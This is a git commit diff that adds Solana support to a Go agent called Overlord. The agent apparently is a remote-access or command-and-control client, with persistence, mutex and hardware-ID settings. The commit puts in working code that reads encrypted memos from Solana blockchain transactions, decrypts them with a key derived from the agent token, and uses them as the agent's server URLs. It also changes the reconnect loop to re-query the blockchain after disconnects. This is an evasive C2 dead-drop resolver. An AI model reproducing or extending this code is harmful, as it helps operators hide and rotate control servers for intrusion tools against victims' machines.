add solana support

This commit is contained in:
KingKDot
2026-04-05 18:18:40 -05:00
parent a310ecb460
commit 4b506d95ff
20 changed files with 1212 additions and 9 deletions
+45 -1
View File
@@ -22,6 +22,9 @@ var AgentVersion = "1.6.8"
var DefaultPersistence = "false"
var DefaultServerURL = "wss://127.0.0.1:5173"
var DefaultServerURLIsRaw = "false"
var DefaultServerURLIsSol = "false"
var DefaultSolAddress = ""
var DefaultSolRPCEndpoints = ""
var DefaultMutex = ""
var DefaultID = ""
var DefaultCountry = ""
@@ -48,6 +51,9 @@ type Config struct {
ServerURLs []string
ServerIndex int
RawServerListURL string
SolEnabled bool
SolAddress string
SolRPCEndpoints []string
Mutex string
ID string
HWID string
@@ -80,9 +86,44 @@ func Load() Config {
}
rawServerEnabled := isTruthy(rawServerFlag)
solFlag := strings.TrimSpace(os.Getenv("OVERLORD_SERVER_SOL"))
if solFlag == "" {
solFlag = DefaultServerURLIsSol
}
solEnabled := isTruthy(solFlag)
solAddress := strings.TrimSpace(os.Getenv("OVERLORD_SOL_ADDRESS"))
if solAddress == "" {
solAddress = strings.TrimSpace(DefaultSolAddress)
}
solRPCEndpointsStr := strings.TrimSpace(os.Getenv("OVERLORD_SOL_RPC_ENDPOINTS"))
if solRPCEndpointsStr == "" {
solRPCEndpointsStr = strings.TrimSpace(DefaultSolRPCEndpoints)
}
var solRPCEndpoints []string
if solRPCEndpointsStr != "" {
for _, ep := range strings.Split(solRPCEndpointsStr, ",") {
ep = strings.TrimSpace(ep)
if ep != "" {
solRPCEndpoints = append(solRPCEndpoints, ep)
}
}
}
serverURLs := []string{}
rawServerListURL := ""
if rawServerEnabled {
if solEnabled && solAddress != "" && len(solRPCEndpoints) > 0 {
agentToken := strings.TrimSpace(os.Getenv("OVERLORD_AGENT_TOKEN"))
if agentToken == "" {
agentToken = strings.TrimSpace(DefaultAgentToken)
}
if urls, err := LoadServerURLsFromSolana(solAddress, agentToken, solRPCEndpoints); err != nil {
log.Printf("[config] WARNING: failed to load server URL from Solana memo: %v", err)
} else {
serverURLs = urls
}
} else if rawServerEnabled {
rawServerListURL = server
if rawServerListURL != "" {
if urls, err := LoadServerURLsFromRaw(rawServerListURL); err != nil {
@@ -152,6 +193,9 @@ func Load() Config {
ServerURLs: serverURLs,
ServerIndex: serverIndex,
RawServerListURL: rawServerListURL,
SolEnabled: solEnabled,
SolAddress: solAddress,
SolRPCEndpoints: solRPCEndpoints,
Mutex: strings.TrimSpace(mutex),
ID: defaultHWID,
HWID: firstNonEmpty(fileSettings.HWID, defaultHWID),
+290
View File
@@ -0,0 +1,290 @@
package config
import (
"crypto/aes"
"crypto/cipher"
"crypto/sha256"
"encoding/base64"
"encoding/json"
"fmt"
"io"
"log"
"net/http"
"strings"
"time"
)
const solanaMemoProgramID = "MemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHr"
type rpcRequest struct {
Jsonrpc string `json:"jsonrpc"`
ID int `json:"id"`
Method string `json:"method"`
Params []interface{} `json:"params"`
}
type signatureInfo struct {
Signature string `json:"signature"`
Err interface{} `json:"err"`
}
type signaturesResponse struct {
Result []signatureInfo `json:"result"`
Error *rpcError `json:"error"`
}
type rpcError struct {
Code json.Number `json:"code"`
Message string `json:"message"`
}
type transactionResponse struct {
Result *transactionResult `json:"result"`
Error *rpcError `json:"error"`
}
type transactionResult struct {
Transaction parsedTransaction `json:"transaction"`
}
type parsedTransaction struct {
Message parsedMessage `json:"message"`
}
type parsedMessage struct {
Instructions []parsedInstruction `json:"instructions"`
}
type parsedInstruction struct {
ProgramId string `json:"programId"`
Parsed interface{} `json:"parsed"`
Program string `json:"program"`
}
func LoadServerURLsFromSolana(solAddress, agentToken string, rpcEndpoints []string) ([]string, error) {
if solAddress == "" {
return nil, fmt.Errorf("solana address is empty")
}
if agentToken == "" {
return nil, fmt.Errorf("agent token required for solana memo decryption")
}
if len(rpcEndpoints) == 0 {
return nil, fmt.Errorf("no solana RPC endpoints configured")
}
client := &http.Client{Timeout: 15 * time.Second}
keyHash := sha256.Sum256([]byte(agentToken))
log.Printf("[solana] using key hash prefix: %x (token len=%d)", keyHash[:4], len(agentToken))
var signatures []signatureInfo
var lastErr error
for i, endpoint := range rpcEndpoints {
if i > 0 {
time.Sleep(200 * time.Millisecond)
}
sigs, err := getSignatures(client, endpoint, solAddress)
if err != nil {
lastErr = err
log.Printf("[solana] RPC %s failed for getSignatures: %v", endpoint, err)
continue
}
signatures = sigs
break
}
if signatures == nil {
return nil, fmt.Errorf("all RPC endpoints failed for getSignatures: %v", lastErr)
}
if len(signatures) == 0 {
return nil, fmt.Errorf("no transactions found for address %s", solAddress)
}
for _, sig := range signatures {
if sig.Err != nil {
continue
}
for j, endpoint := range rpcEndpoints {
if j > 0 {
time.Sleep(200 * time.Millisecond)
}
memo, err := getMemoFromTransaction(client, endpoint, sig.Signature)
if err != nil {
log.Printf("[solana] RPC %s failed for tx %s: %v", endpoint, sig.Signature[:16], err)
continue
}
if memo == "" {
break
}
decrypted, err := decryptMemo(memo, agentToken)
if err != nil {
log.Printf("[solana] failed to decrypt memo from tx %s: %v", sig.Signature[:16], err)
break
}
urls := parseMemoURLs(decrypted)
if len(urls) > 0 {
log.Printf("[solana] resolved %d server URL(s) from memo in tx %s", len(urls), sig.Signature[:16])
return urls, nil
}
break
}
}
return nil, fmt.Errorf("no valid decryptable memo found in recent transactions")
}
func getSignatures(client *http.Client, endpoint, address string) ([]signatureInfo, error) {
reqBody := rpcRequest{
Jsonrpc: "2.0",
ID: 1,
Method: "getSignaturesForAddress",
Params: []interface{}{
address,
map[string]interface{}{"limit": 10},
},
}
data, err := json.Marshal(reqBody)
if err != nil {
return nil, err
}
resp, err := client.Post(endpoint, "application/json", strings.NewReader(string(data)))
if err != nil {
return nil, err
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
return nil, err
}
var result signaturesResponse
if err := json.Unmarshal(body, &result); err != nil {
return nil, fmt.Errorf("failed to parse signatures response: %v", err)
}
if result.Error != nil {
return nil, fmt.Errorf("RPC error %s: %s", result.Error.Code.String(), result.Error.Message)
}
return result.Result, nil
}
func getMemoFromTransaction(client *http.Client, endpoint, signature string) (string, error) {
reqBody := rpcRequest{
Jsonrpc: "2.0",
ID: 1,
Method: "getTransaction",
Params: []interface{}{
signature,
map[string]interface{}{
"encoding": "jsonParsed",
"maxSupportedTransactionVersion": 0,
},
},
}
data, err := json.Marshal(reqBody)
if err != nil {
return "", err
}
resp, err := client.Post(endpoint, "application/json", strings.NewReader(string(data)))
if err != nil {
return "", err
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
return "", err
}
var result transactionResponse
if err := json.Unmarshal(body, &result); err != nil {
return "", fmt.Errorf("failed to parse transaction response: %v", err)
}
if result.Error != nil {
return "", fmt.Errorf("RPC error %s: %s", result.Error.Code.String(), result.Error.Message)
}
if result.Result == nil {
return "", fmt.Errorf("transaction not found")
}
for _, inst := range result.Result.Transaction.Message.Instructions {
if inst.ProgramId == solanaMemoProgramID {
if s, ok := inst.Parsed.(string); ok && s != "" {
return s, nil
}
}
}
return "", nil
}
func decryptMemo(memoBase64, agentToken string) (string, error) {
raw, err := base64.StdEncoding.DecodeString(memoBase64)
if err != nil {
raw, err = base64.URLEncoding.DecodeString(memoBase64)
if err != nil {
return "", fmt.Errorf("invalid base64 memo: %v", err)
}
}
if len(raw) < 12+16+1 {
return "", fmt.Errorf("memo too short to be valid ciphertext")
}
nonce := raw[:12]
ciphertext := raw[12:]
keyHash := sha256.Sum256([]byte(agentToken))
block, err := aes.NewCipher(keyHash[:])
if err != nil {
return "", fmt.Errorf("failed to create AES cipher: %v", err)
}
aesGCM, err := cipher.NewGCM(block)
if err != nil {
return "", fmt.Errorf("failed to create GCM: %v", err)
}
plaintext, err := aesGCM.Open(nil, nonce, ciphertext, nil)
if err != nil {
return "", fmt.Errorf("decryption failed: %v", err)
}
return string(plaintext), nil
}
func parseMemoURLs(decrypted string) []string {
var urls []string
seen := map[string]struct{}{}
for _, line := range strings.Split(decrypted, "\n") {
line = strings.TrimSpace(line)
if line == "" {
continue
}
normalized, err := normalizeServerURL(line)
if err != nil {
log.Printf("[solana] invalid URL in memo: %q: %v", line, err)
continue
}
if normalized == "" {
continue
}
if _, ok := seen[normalized]; ok {
continue
}
seen[normalized] = struct{}{}
urls = append(urls, normalized)
}
return urls
}
+68 -4
View File
@@ -74,6 +74,10 @@ func runClient(cfg config.Config) {
consecutiveFailures := 0
// idek how tf to fix this. sometimes the client just says fuck you and downgrades then stops connections.
allowTLSDowngrade := false
var lastDisconnect time.Time
var lastSolRefresh time.Time
solInitialWait := 2 * time.Minute
solRefreshInterval := 2*time.Minute + time.Duration(rand.Intn(60))*time.Second
for {
@@ -97,9 +101,13 @@ func runClient(cfg config.Config) {
if err != nil {
log.Printf("dial failed: %v (retrying in %s)", err, backoff)
consecutiveFailures++
if lastDisconnect.IsZero() {
lastDisconnect = time.Now()
}
if shouldRefreshRawList(cfg, consecutiveFailures) {
if refreshServerURLsFromRaw(&cfg) {
if shouldRefreshServerList(cfg, consecutiveFailures, lastDisconnect, lastSolRefresh, solInitialWait, solRefreshInterval) {
if refreshServerList(&cfg) {
lastSolRefresh = time.Now()
currentIndex = 0
consecutiveFailures = 0
}
@@ -123,6 +131,7 @@ func runClient(cfg config.Config) {
backoff = baseBackoff
consecutiveFailures = 0
lastDisconnect = time.Time{} // reset — we're connected
log.Printf("connected successfully to %s%s", currentServer, serverInfo)
conn.SetReadLimit(8 * 1024 * 1024)
@@ -137,9 +146,11 @@ func runClient(cfg config.Config) {
allowTLSDowngrade = false
}
log.Printf("session ended: %v (retrying in %s)", err, backoff)
lastDisconnect = time.Now()
if shouldRefreshRawList(cfg, len(cfg.ServerURLs)) {
if refreshServerURLsFromRaw(&cfg) {
if shouldRefreshServerList(cfg, len(cfg.ServerURLs), lastDisconnect, lastSolRefresh, solInitialWait, solRefreshInterval) {
if refreshServerList(&cfg) {
lastSolRefresh = time.Now()
currentIndex = 0
consecutiveFailures = 0
}
@@ -184,6 +195,18 @@ func ensureServerURLs(cfg *config.Config, backoff time.Duration) {
return
}
if cfg.SolEnabled && cfg.SolAddress != "" && len(cfg.SolRPCEndpoints) > 0 {
log.Printf("No server URLs configured. Resolving from Solana memo (address: %s)", cfg.SolAddress)
for len(cfg.ServerURLs) == 0 {
if refreshServerURLsFromSolana(cfg) {
return
}
log.Printf("Retrying Solana memo lookup in %s", backoff)
time.Sleep(backoff)
}
return
}
if cfg.RawServerListURL == "" {
log.Printf("[config] WARNING: no server URLs configured; falling back to default %s", config.DefaultServerURL)
cfg.ServerURLs = []string{config.DefaultServerURL}
@@ -210,6 +233,47 @@ func shouldRefreshRawList(cfg config.Config, failures int) bool {
return failures >= len(cfg.ServerURLs)
}
func shouldRefreshServerList(cfg config.Config, failures int, lastDisconnect, lastSolRefresh time.Time, solInitialWait, solRefreshInterval time.Duration) bool {
if cfg.SolEnabled && cfg.SolAddress != "" && len(cfg.SolRPCEndpoints) > 0 {
if lastDisconnect.IsZero() {
return false // still connected, never refresh
}
sinceDisconnect := time.Since(lastDisconnect)
if sinceDisconnect < solInitialWait {
return false // wait 2 min after disconnect before first check
}
if !lastSolRefresh.IsZero() && time.Since(lastSolRefresh) < solRefreshInterval {
return false // not yet time for next periodic check
}
return true
}
return shouldRefreshRawList(cfg, failures)
}
func refreshServerList(cfg *config.Config) bool {
if cfg.SolEnabled && cfg.SolAddress != "" && len(cfg.SolRPCEndpoints) > 0 {
return refreshServerURLsFromSolana(cfg)
}
return refreshServerURLsFromRaw(cfg)
}
func refreshServerURLsFromSolana(cfg *config.Config) bool {
urls, err := config.LoadServerURLsFromSolana(cfg.SolAddress, cfg.AgentToken, cfg.SolRPCEndpoints)
if err != nil {
log.Printf("[config] WARNING: failed to resolve server URLs from Solana: %v", err)
return false
}
if len(urls) == 0 {
log.Printf("[config] WARNING: Solana memo returned no valid URLs")
return false
}
if !equalStringSlices(cfg.ServerURLs, urls) {
log.Printf("[config] resolved server URLs from Solana memo (%d servers)", len(urls))
cfg.ServerURLs = urls
}
return true
}
func refreshServerURLsFromRaw(cfg *config.Config) bool {
urls, err := config.LoadServerURLsFromRaw(cfg.RawServerListURL)
if err != nil {